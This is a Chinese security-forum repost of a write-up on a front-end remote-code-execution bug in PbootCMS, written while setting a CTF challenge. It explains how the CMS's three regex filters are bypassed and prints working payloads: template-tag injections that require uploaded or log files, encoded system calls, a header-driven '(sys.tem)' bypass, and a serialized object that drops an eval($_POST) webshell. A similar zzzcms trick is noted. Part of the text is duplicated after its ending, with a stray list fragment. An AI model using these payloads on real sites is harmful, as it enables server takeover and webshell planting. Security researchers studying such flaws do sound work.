安全矩阵

 找回密码
 立即注册
搜索
查看: 6048|回复: 0

pbootcms最新版本前台捡的rce-论如何绕废正则

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-12-18 18:49:35 | 显示全部楼层 |阅读模式
本帖最后由 gclome 于 2020-12-18 18:52 编辑

原文链接:pbootcms最新版本前台捡的rce-论如何绕废正则

本文涉及知识点实操练习-命令注入漏洞的代码审计  
https://www.hetianlab.com/expc.do?ec=ECIDf80c-799d-4bd5-979c-475ff391351a&pk_campaign=weixin-wemedia
通过本节的学习,了解命令注入漏洞的原理,通过代码审计掌握挖掘命令注入漏洞的方法,了解命令注入漏洞产生的原因。

前言
机缘巧合,为了给bytectf出题,不会写代码,无奈拿起老本行,代码审计一下pbootcms,先说一次,CTF诚不欺我
0x01
目前公网看到的最新的是3.0.1版本的rce,https://xz.aliyun.com/t/8321,简单审计之后发现这个cms的历史漏洞真多,比如比较新的有这个 https://www.anquanke.com/post/id/222849#h3-6,不过这里与之前漏洞不太一样的是,这是修改文件上传后缀getshell,前提还需要能破解admin的密码
0x02
那么我们再来看这里的rce都是怎么防御的,总的来说,要过三个正则
  1. <font size="4">\{pboot:if\(([^}^\$]+)\)\}([\s\S]*?)\{\/pboot:if\}

  2. ([\w]+)([\x00-\x1F\x7F\/\*\<\>\%\w\s\\\\]+)?\(

  3. (\$_GET\[)|(\$_POST\[)|(\$_REQUEST\[)|(\$_COOKIE\[)|(\$_SESSION\[)|(file_put_contents)|(file_get_contents)|(fwrite)|(phpinfo)|(base64)|(`)|(shell_exec)|(eval)|(assert)|(system)|(exec)|(passthru)|(pcntl_exec)|(popen)|(proc_open)|(print_r)|(print)|(urldecode)|(chr)|(include)|(request)|(__FILE__)|(__DIR__)|(copy)|(call_user_)|(preg_replace)|(array_map)|(array_reverse)|(array_filter)|(getallheaders)|(get_headers)|(decode_string)|(htmlspecialchars)|(session_id)</font>
复制代码



可以说是非常的苛刻,最终调用的php代码如下
  1. <font size="4">eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');</font>
复制代码

我们首先来看第一个正则

这个正则主要是限制了,if语句里面不能出现}、^、$这三个字符

我们来看看第二个正则



很明显,这里限制了调用了函数,在KCon2019大会上的提出的新特性也过滤掉了,导致调用函数基本不成可能??

来看第三个正则,是一个完全的黑名单,黑名单的产生是一个一个漏洞堆出来了,这里提一个醒,过滤了include,没有过滤require的操作实在太秀,笔者测试发现在3.0.2之前是可以配合文件上传rce的,默认cms前台是个人中心是有一个头像上传的地方,所以你懂的,注意,也是前台getshell哦,payload如下
  1. <font size="4">{pboot:if(1)require "/var/www/html/static/upload/image/xxxxxxx/1531651052463520.png";//)}sdfsd{/pboot:if}</font>
复制代码

完美符合预期





这里再提一句,如果前端没有文件上传功能,这里还可以getshell,这里再给一个payload,我们可以包含日志文件,当然上面也是可以包含日志文件的,此trick来源于N1CTF_easytp5那道题
  1. <font size="4">{pboot{user:password}:if(1)require+\app\home\controller\ParserController::parserMemberLabel('/Applications/MAMP/htdocs/1.php');//)}sdfsd{/pboot:if}</font>
复制代码



0x03上面所说的为什么不能再最新版本使用呢,是因为3.0.4移除了一个decode_string函数


而老版本正好有一个双引号在带入之前是经过了html解码的,在3.0.4版本不行(在3.0.3就去除了)


所以3.0.3跟3.0.4版本变得不可行


0x04经过了一连串历史漏洞的分析我们发现要想造成rce,最需要绕过的是第二、三个正则
  1. <font size="4">([\w]+)([\x00-\x1F\x7F\/\*\<\>\%\w\s\\\\]+)?\(</font>
复制代码

大家对无字母getshell非常的熟悉,https://xz.aliyun.com/t/8107这篇文章写的非常的详细,我们参考文章尝试一下抑或可行?
在PHP7中,我们可以使用($a)()这种方法来执行命令。
  1. <font size="4">(~urldecode("%8c%86%8c%8b%9a%92"))(~urldecode("%88%97%90%9e%92%96"));</font>
复制代码

这里翻译过来执行的是system('whoami');



仿佛好像有了???我们打远程看看


可以看到,经过了htmlspecialchars函数处理之后,由于存在不可见字符,直接替换为空了,这条路绝了??

0x05
下面就是这篇文章的精彩内容,CTF诚不欺我。
目前有一个思路,我们假设不存在这个htmlspecialchars函数,那么我们后面应该是可以rce的,而且细心发现,这里怎么变成了pboot@if??


是因为在调用escape_string之前,他把我们替换掉了

但是呢,我们往后看



太秀了,后面他会识别正则,然后替换为空,作为老赛棍来说,有内双写替换为空那味了,简单入门操作,就这样,我们成功的走到了最后一步

成功rce,我们在细心一点,这里我们竟然把所有正则都给过去了??


你好是的,第二个正则在这里就跟没有一样,你看,是不是直接随便绕



0x06

万事具备,只差东风,就差一个htmlspecialchars了,前面尝试的是抑或,然后编码的形式绕过死亡黑名单,但是差一点,这里不得不提到,不知道大家还记得国赛的Lovemath那道题没有


这里没有乱码,没有双引号,夜晚的星星还是那么亮,一切都是这么的朴实无华



0x07
有趣的是祥云杯线上出来了这个cms,直接完美撞车
前排提醒,zzzcms目前最新版本1.8.4也可以这么操作,这里我waf看起来恶心,结果`都没过滤,老开发了.jpg
  1. <font size="4">$danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','
  2. </font>
复制代码






0x08万万我没有想到的跟祥云杯竟然撞车了,而与出题人一番沟通之后,发现payload跟我一样,那再这样出题,肯定是不行的,不过php是世界上最好的语言对吧,我们有没有办法绕过第三个正则呢
  1. (\$_GET\[)|(\$_POST\[)|(\$_REQUEST\[)|(\$_COOKIE\[)|(\$_SESSION\[)|(file_put_contents)|(file_get_contents)|(fwrite)|(phpinfo)|(base64)|(`)|(shell_exec)|(eval)|(assert)|(system)|(exec)|(passthru)|(pcntl_exec)|(popen)|(proc_open)|(print_r)|(print)|(urldecode)|(chr)|(include)|(request)|(__FILE__)|(__DIR__)|(copy)|(call_user_)|(preg_replace)|(array_map)|(array_reverse)|(array_filter)|(getallheaders)|(get_headers)|(decode_string)|(htmlspecialchars)|(session_id)
复制代码


你好有的,更直接的方法,能让这些黑名单全部失效掉,再次之前,第一个、第二个正则已经全部失效掉了,现在三个正则都全绕过了2333,如下姿势



  1. <font size="4">{pboot{user:password}:if(1)(sys.tem)(((ne.xt)((getallheade.rs)())));;//)}sdfsd{/pboot:if}</font>
复制代码

End
pbootcms可所谓漏洞百出,修复方法,看官方吧(php是世界上最好的语言,不过php8的存在可能导致ctfer失业)
补充签到题预期解法如下,出现严重失误导致全部非预期,实属惭愧

  1. <font size="4">O:1:"B":3:{s:7:"content";s:31:"<?php echo 1;eval($_POST[a]);?>";s:8:"filename";s:5:"1.php";s:6:"decade";O:3:"pdo":0:{};}</font>
复制代码
原理就是这个fatal error,然后导致后面代码停止执行,但是反序列化的destruct方法还是会执行











,'system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','print','echo','var_dump');[/code]





0x08万万我没有想到的跟祥云杯竟然撞车了,而与出题人一番沟通之后,发现payload跟我一样,那再这样出题,肯定是不行的,不过php是世界上最好的语言对吧,我们有没有办法绕过第三个正则呢
  1. <font size="4">(\$_GET\[)|(\$_POST\[)|(\$_REQUEST\[)|(\$_COOKIE\[)|(\$_SESSION\[)|(file_put_contents)|(file_get_contents)|(fwrite)|(phpinfo)|(base64)|(`)|(shell_exec)|(eval)|(assert)|(system)|(exec)|(passthru)|(pcntl_exec)|(popen)|(proc_open)|(print_r)|(print)|(urldecode)|(chr)|(include)|(request)|(__FILE__)|(__DIR__)|(copy)|(call_user_)|(preg_replace)|(array_map)|(array_reverse)|(array_filter)|(getallheaders)|(get_headers)|(decode_string)|(htmlspecialchars)|(session_id)</font>
复制代码

你好有的,更直接的方法,能让这些黑名单全部失效掉,再次之前,第一个、第二个正则已经全部失效掉了,现在三个正则都全绕过了2333,如下姿势



  1. <font size="4">{pboot{user:password}:if(1)(sys.tem)(((ne.xt)((getallheade.rs)())));;//)}sdfsd{/pboot:if}</font>
复制代码

End
pbootcms可所谓漏洞百出,修复方法,看官方吧(php是世界上最好的语言,不过php8的存在可能导致ctfer失业)
补充签到题预期解法如下,出现严重失误导致全部非预期,实属惭愧

  1. <font size="4">O:1:"B":3:{s:7:"content";s:31:"&lt;?php echo 1;eval($_POST[a]);?&gt;";s:8:"filename";s:5:"1.php";s:6:"decade";O:3:"pdo":0:{};}</font>
复制代码
原理就是这个fatal error,然后导致后面代码停止执行,但是反序列化的destruct方法还是会执行











回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-20 17:32 , Processed in 0.016359 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表